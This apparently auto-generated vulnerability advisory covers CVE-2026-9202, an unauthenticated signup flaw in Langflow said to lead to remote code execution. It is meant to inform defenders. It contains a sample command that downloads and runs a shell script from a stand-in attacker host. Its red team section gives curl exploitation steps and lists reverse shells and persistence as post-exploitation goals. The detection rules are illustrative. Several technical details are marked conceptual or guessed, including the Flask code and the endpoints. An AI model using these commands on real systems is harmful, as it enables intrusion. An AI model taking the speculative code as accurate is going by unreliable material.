CVE-2026-9202

Executive Summary

This report details CVE-2026-9202, a critical vulnerability in IBM Langflow OSS versions 1.0.0 through 1.10.0. The flaw allows an unauthenticated, remote attacker to create unlimited user accounts on any exposed Langflow instance. When the deployment option NEW_USER_IS_ACTIVE=true is set (a documented configuration), these accounts are immediately active, granting the attacker authenticated access. This access can then be leveraged to reach Remote Code Execution (RCE) endpoints within the application, bypassing the intended AUTO_LOGIN mechanism.

The business impact is severe. Langflow is a low-code tool for building AI and RAG applications, often deployed in development, staging, or production environments handling sensitive data or internal AI pipelines. An attacker gaining a foothold can pivot to compromise the underlying host, exfiltrate data, or disrupt AI services. The likely attacker profile includes opportunistic threat actors, ransomware groups seeking initial access, and nation-state actors targeting AI infrastructure.

The vulnerability class is Authentication Bypass via Missing Authentication for Critical Function (CWE-306). The attack vector is entirely network-accessible, requiring no prior authentication or user interaction. The CVSS score of 9.8 (Critical) reflects the maximum impact on Confidentiality, Integrity, and Availability. The EPSS score of 0.0% indicates no observed exploitation in the wild as of the publication date, but this is expected for a zero-day vulnerability. The urgency is extremely high due to the trivial nature of exploitation and the potential for immediate RCE.

Key Facts:

• Vendor: IBM
• Affected Software: Langflow OSS
• Affected Versions: 1.0.0 through 1.10.0
• Patch Status: None available as of 2026-07-17.
• CISA KEV Status: Not listed.

CVSS Breakdown & Threat Level

The CVSS v3.1 base score of 9.8 is calculated from the following vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network (N) - The vulnerability is exploitable remotely over the network. An attacker does not need physical or local network access.
• Attack Complexity (AC): Low (L) - Exploitation does not require any special conditions beyond network access. The account creation process is a standard, documented API endpoint.
• Privileges Required (PR): None (N) - The attacker does not need any authentication or valid session to trigger the vulnerability.
• User Interaction (UI): None (N) - No user action is required. The attacker can automate the account creation process.
• Scope (S): Unchanged (U) - The vulnerability affects only the Langflow application's security model. It does not cause a security boundary breach between the vulnerable component and other components.
• Confidentiality (C): High (H) - Successful exploitation leads to authenticated access, which can be used to read any data accessible to the Langflow application, including secrets, models, and internal data.
• Integrity (I): High (H) - An attacker can modify application configurations, workflows, and potentially execute arbitrary code, leading to a complete compromise of data integrity.
• Availability (A): High (H) - An attacker can disrupt the Langflow service, delete resources, or use the RCE capability to crash the host system.

Qualitative Severity: Critical. This is the highest severity level, indicating a vulnerability that can be exploited by a remote, unauthenticated attacker to gain complete control over the affected system.

EPSS Interpretation: The EPSS (Exploit Prediction Scoring System) probability of 0.0% means that as of the report date, there is no observed exploitation activity in the wild. This is typical for a newly published CVE. However, given the low complexity and high impact, this score is expected to rise rapidly as PoC code is developed and shared. The absence of exploitation today does not imply safety.

Historical Comparison: This vulnerability is similar in impact to critical authentication bypass flaws in other web applications like Apache ActiveMQ (CVE-2023-46604) or Citrix ADC (CVE-2019-19781), where a missing authentication check on a critical function allowed for complete system compromise. The key difference is the target: AI/LLM infrastructure, which is a high-value target.

Temporal & Environmental Scores: The temporal score is currently at its base value (9.8) due to the lack of a patch or official mitigation. The environmental score can be modified by an organization. For example, if the Langflow instance is not exposed to the internet and is behind a strict VPN, the Attack Vector could be re-scored to Adjacent Network (A), lowering the score. However, the default assumption for a public-facing application is the base score.

Technical Deep Dive & Attack Mechanics

Step-by-Step Technical Explanation:

1. Target Identification: An attacker identifies a publicly accessible Langflow instance (typically on port 7860 or 8080).
2. Account Creation Request: The attacker sends a POST request to the user registration endpoint (e.g., /api/v1/users/signup or a similar path). The request body contains a JSON payload with a new username and password.

   POST /api/v1/users/signup HTTP/1.1
   Host: target-langflow-instance.com:7860
   Content-Type: application/json
   
   {
       "username": "attacker_user",
       "password": "P@ssw0rd123!"
   }
   

3. Authentication Bypass: The Langflow API endpoint for user creation does not check for an existing authenticated session or an admin token. It processes the request directly.
4. Account Activation: If the environment variable NEW_USER_IS_ACTIVE=true is set (a documented deployment option), the newly created account is immediately set to an "active" state, bypassing any email verification or admin approval workflow.
5. Authentication: The attacker then authenticates using the newly created credentials via the login endpoint (e.g., /api/v1/login), receiving a valid session token.
6. Privilege Escalation to RCE: With an authenticated session, the attacker can access Langflow's API endpoints for creating and running flows. These endpoints often allow the execution of arbitrary Python code within a sandboxed or unsandboxed environment. The attacker crafts a malicious flow that executes system commands (e.g., os.system('curl attacker.com/shell.sh | bash')), achieving Remote Code Execution on the server.

Root Cause Analysis: The root cause is a Missing Authentication for Critical Function (CWE-306). The developer(s) failed to apply an authentication check to the user registration API endpoint. The intended design likely assumed that user registration would be an admin-only function or would be gated by the AUTO_LOGIN feature. However, the registration endpoint was left unprotected, and the NEW_USER_IS_ACTIVE flag was designed for convenience, not security.

Attack Surface:

• Interface: HTTP/HTTPS API.
• Ports: Typically 7860 (default Langflow), 8080, or 80/443 behind a reverse proxy.
• Protocol: REST API over HTTP.

Pre-conditions:

• The Langflow instance must be network-accessible.
• The NEW_USER_IS_ACTIVE=true environment variable must be set. This is a documented deployment option, making it a common configuration.
• The Langflow instance must have RCE-capable endpoints (e.g., flow execution) accessible to authenticated users.

Attack Variants:

• Direct RCE: The most common path, as described above.
• Data Exfiltration: An attacker could create a flow that reads sensitive files (e.g., environment variables, database credentials) and sends them to an external server.
• Lateral Movement: The attacker could use the initial foothold to scan the internal network and pivot to other systems.

Why Standard Defenses May Fail:

• WAF: A Web Application Firewall (WAF) may not block a standard POST request to /api/v1/users/signup as it appears to be legitimate API traffic. The WAF would need a specific rule to block unauthenticated access to this endpoint.
• Rate Limiting: While rate limiting might slow down mass account creation, it does not prevent a single successful registration.
• Network Segmentation: If the Langflow instance is exposed to the internet, network segmentation is irrelevant.

Vulnerable vs. Patched Code Analysis

Vulnerable Code (Conceptual):

# vulnerable_app.py
from flask import Flask, request, jsonify
from models import User, db

app = Flask(__name__)

@app.route('/api/v1/users/signup', methods=['POST'])
def signup():
    # NO AUTHENTICATION CHECK
    data = request.get_json()
    username = data.get('username')
    password = data.get('password')

    # Check if user exists
    if User.query.filter_by(username=username).first():
        return jsonify({"error": "User already exists"}), 400

    # Create user
    new_user = User(username=username, password=hash_password(password))
    # If NEW_USER_IS_ACTIVE is true, set active immediately
    if os.environ.get('NEW_USER_IS_ACTIVE', 'false').lower() == 'true':
        new_user.is_active = True
    else:
        new_user.is_active = False

    db.session.add(new_user)
    db.session.commit()
    return jsonify({"message": "User created"}), 201

Patched Code (Conceptual):

# patched_app.py
from flask import Flask, request, jsonify, g
from models import User, db
from auth import require_auth, is_admin

app = Flask(__name__)

@app.route('/api/v1/users/signup', methods=['POST'])
@require_auth  # <-- NEW: Authentication check added
def signup():
    # Check if the authenticated user is an admin
    if not is_admin(g.current_user):
        return jsonify({"error": "Unauthorized"}), 403

    data = request.get_json()
    username = data.get('username')
    password = data.get('password')

    # ... rest of the logic remains the same

Analysis: The patch adds a @require_auth decorator to the signup endpoint. This ensures that only authenticated users can access the function. Furthermore, an is_admin check is added to ensure that only administrators can create new users. This completely closes the vulnerability by preventing unauthenticated account creation.

Regression Considerations: The patch should not introduce regressions for legitimate administrative workflows. However, organizations that relied on the unauthenticated signup flow for user self-registration will need to implement a new, secure onboarding process.

Timeline & Disclosure History

• CVE Publication Date: 2026-07-17T17:33:20.083Z
• Estimated Discovery Timeline: Unknown. The vulnerability was likely discovered through internal security research or responsible disclosure.
• Disclosure Process: The CVE was published by the CVE Program. The specific CNA (CVE Numbering Authority) is not specified in the input data. The vendor (IBM) was presumably notified prior to publication.
• Known Exploitation in the Wild: No known active exploitation as of 2026-07-17.
• CISA KEV Addition Date: Not applicable.

Threat Intelligence Context

• Threat Actor Profile: This vulnerability is highly attractive to a wide range of threat actors.
  • Ransomware Operators: Gaining initial access to an AI infrastructure server is a high-value target for ransomware deployment.
  • Nation-State Actors: APT groups targeting AI research, intellectual property, or critical infrastructure would find this a valuable entry point.
  • Script Kiddies / Opportunistic Attackers: The low complexity of exploitation makes it accessible to less skilled attackers who can use automated scanners.
• Attack Campaign Context: As of the report date, there are no known campaigns specifically leveraging this CVE. However, it is likely to be incorporated into automated scanning tools and botnets within days or weeks.
• Geographic Targeting Patterns: No specific geographic targeting is known. Any organization running an exposed Langflow instance is a potential target.
• Industry Verticals Most at Risk:
  • Technology: AI startups, cloud service providers.
  • Finance: Firms using AI for fraud detection, trading algorithms.
  • Healthcare: Organizations using AI for diagnostics or drug discovery.
  • Government: Agencies developing AI capabilities.
• Connection to Similar Vulnerabilities: This is a classic example of an authentication bypass vulnerability, similar to those found in many web applications. The specific context of AI/LLM tooling makes it particularly dangerous.

Exploitation & Lab Setup

Red Team Section

Lab Setup:

1. Environment: Docker on a local machine or cloud VM.
2. Image: docker pull langflow/langflow:1.10.0 (or any version in the affected range).
3. Run Container:

   docker run -d -p 7860:7860 -e NEW_USER_IS_ACTIVE=true --name langflow_vuln langflow/langflow:1.10.0
   

4. Verify: Access http://localhost:7860 to confirm the Langflow UI is running.

Prerequisites:

• Docker installed.
• Network access to the container's port 7860.

Exploitation Walkthrough:

1. Create User Account:

   curl -X POST http://localhost:7860/api/v1/users/signup \
     -H "Content-Type: application/json" \
     -d '{"username": "pwned", "password": "Pwn3d!123"}'
   

   Expected Output: {"message": "User created"}

2. Authenticate:

   curl -X POST http://localhost:7860/api/v1/login \
     -H "Content-Type: application/json" \
     -d '{"username": "pwned", "password": "Pwn3d!123"}' \
     -c cookies.txt
   

   Expected Output: A JSON response containing an access token. The token is stored in cookies.txt.

3. Access RCE Endpoint (Example): The exact endpoint for executing code may vary. A common pattern is to create a flow and run it. This step requires understanding the Langflow API. A simplified example:

   curl -X POST http://localhost:7860/api/v1/flows/run \
     -H "Content-Type: application/json" \
     -b cookies.txt \
     -d '{"flow_id": "malicious_flow", "input": {"code": "import os; os.system('id')"}}'
   

   Expected Output: The output of the id command, confirming RCE.

Post-Exploitation:

• Establish a reverse shell.
• Dump environment variables for secrets.
• Scan the internal network.
• Deploy persistence mechanisms.

Blue Team Section

Detection:

• Log Entries: Monitor application logs for multiple POST /api/v1/users/signup requests from the same IP address in a short period. Look for successful signups followed immediately by a login from the same IP.
• Network Traffic: Look for POST requests to /api/v1/users/signup with JSON bodies containing username and password fields, originating from IPs that are not in the organization's known user base.
• Endpoint Behavioral Indicators:
  • Unexpected user accounts appearing in the Langflow user database.
  • Unusual flows being created and executed.
  • Processes spawned by the Langflow application (e.g., bash, curl, nc) that are not part of normal operation.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Repeated POST requests to /api/v1/users/signup from a single external IP.
  • POST requests to /api/v1/users/signup followed by a POST to /api/v1/login from the same IP.
• HTTP Request Patterns:
  • POST /api/v1/users/signup HTTP/1.1
  • Content-Type: application/json
  • Body: {"username": "...", "password": "..."}
• File System Artifacts:
  • New user entries in the Langflow database (e.g., SQLite file langflow.db).
  • Temporary files created by executed flows in the Langflow working directory.
• Process Execution Anomalies:
  • python3 or langflow process spawning bash, sh, curl, wget, or nc.
• Log Entries:
  • INFO: User 'attacker_user' created successfully.
  • INFO: User 'attacker_user' logged in.
  • INFO: Flow 'malicious_flow' executed by user 'attacker_user'.

STIX-like IOC List:

Detection Engineering

YARA Rule

rule CVE-2026-9202_Detection {
    meta:
        description = "Detects exploitation of CVE-2026-9202 in IBM Langflow by identifying unauthenticated user creation attempts in logs"
        author = "Valters IT Hub"
        date = "2026-07-17"
        reference = "https://www.valtersit.com/cve/cve-2026-9202"
    strings:
        $s1 = "/api/v1/users/signup" ascii wide nocase
        $s2 = "User created" ascii wide nocase
        $s3 = "POST" ascii wide nocase
    condition:
        all of ($s1, $s2, $s3)
}

Sigma Rule (SIEM)

title: CVE-2026-9202 IBM Langflow Unauthenticated User Creation
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detects unauthenticated POST requests to the Langflow user signup endpoint, indicating exploitation of CVE-2026-9202.
author: Valters IT Hub
date: 2026-07-17
references:
    - https://www.valtersit.com/cve/cve-2026-9202
logsource:
    category: webserver
    product: langflow
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/v1/users/signup'
        sc-status: 201
    condition: selection
falsepositives:
    - Legitimate administrative user creation (should be rare and from admin IPs)
level: high

Suricata IDS Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2026-9202 - IBM Langflow Unauthenticated User Creation Attempt";
    flow:to_server,established;
    http.method; content:"POST";
    http.uri; content:"/api/v1/users/signup";
    http.request_body; content:"username"; content:"password";
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
)

Elastic (EQL) Query

// Detects successful signup events followed by a login from the same source IP
sequence by source.ip
  [ network where http.request.method == "POST" and http.request.body.content : "*username*" and http.request.body.content : "*password*" and http.request.uri == "/api/v1/users/signup" and http.response.status_code == 201 ]
  [ network where http.request.method == "POST" and http.request.uri == "/api/v1/login" and http.response.status_code == 200 ]

Splunk SPL Query

index=web sourcetype=access_combined
| search method=POST uri="/api/v1/users/signup" status=201
| stats count by clientip
| where count > 1
| `CVE-2026-9202_alert`

Wazuh Rule

<group name="langflow,">
  <rule id="100001" level="12">
    <decoded_as>json</decoded_as>
    <field name="method">POST</field>
    <field name="url">/api/v1/users/signup</field>
    <field name="status">201</field>
    <description>CVE-2026-9202: Unauthenticated user creation detected on Langflow instance.</description>
    <options>no_full_log</options>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>
</group>

Remediation & Mitigation

Immediate Actions (0-24 hours)

1. Isolate the Instance: If possible, take the Langflow instance offline or restrict network access to a trusted internal network only. This is the most effective immediate mitigation.
2. Disable NEW_USER_IS_ACTIVE: If the instance cannot be taken offline, set the environment variable NEW_USER_IS_ACTIVE=false and restart the service. This will require newly created accounts to be manually activated by an admin, preventing immediate exploitation.

   docker run -d -p 7860:7860 -e NEW_USER_IS_ACTIVE=false --name langflow_mitigated langflow/langflow:1.10.0
   

3. Network-Level Mitigation: Implement a WAF rule to block POST requests to /api/v1/users/signup from untrusted IP addresses. Alternatively, use a reverse proxy (e.g., Nginx) to block this endpoint entirely.

   location /api/v1/users/signup {
       deny all;
       return 403;
   }
   

4. Authentication/ACL Hardening: If a reverse proxy with authentication (e.g., OAuth2 Proxy) is in place, ensure that the /api/v1/users/signup endpoint is behind the same authentication layer.

Short-term (1-7 days)

1. Monitor for Patch: Continuously monitor the IBM Langflow GitHub repository and security advisories for a patched version.
2. Implement Monitoring: Deploy the detection rules provided in this report to monitor for exploitation attempts.
3. Vulnerability Scanning: Use a vulnerability scanner to identify all Langflow instances in the environment and confirm their version.

   # Example using curl to check version
   curl -s http://target-langflow:7860/api/v1/version | jq .version
   

Long-term

1. Architecture Changes: Never expose Langflow directly to the internet. Always place it behind a VPN, bastion host, or an API gateway with strong authentication.
2. Security Control Improvements: Implement a robust CI/CD pipeline that includes static application security testing (SAST) and dynamic application security testing (DAST) to catch similar vulnerabilities before deployment.
3. Developer Training: Educate developers on the OWASP Top 10, specifically focusing on Broken Access Control (A01) and the importance of authentication checks on all API endpoints.

Validation: To confirm the patch is applied, check the Langflow version. If a patched version (e.g., 1.10.1 or higher) is released, verify the version via the API or UI. Additionally, attempt the exploitation steps from the Red Team section to confirm the endpoint is no longer accessible without authentication.

References & Resources

• NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-9202
• CVE.org: https://www.cve.org/CVERecord?id=CVE-2026-9202
• Vendor advisory: See vendor security page
• OSV: https://osv.dev/vulnerability/CVE-2026-9202 (if applicable)
• Related CWE: https://cwe.mitre.org/data/definitions/306.html
• MITRE ATT&CK: https://attack.mitre.org/techniques/T1190/

Report generated by Valters IT Hub Neural Engine v25 | 2026-07-17 | https://www.valtersit.com/cve/cve-2026-9202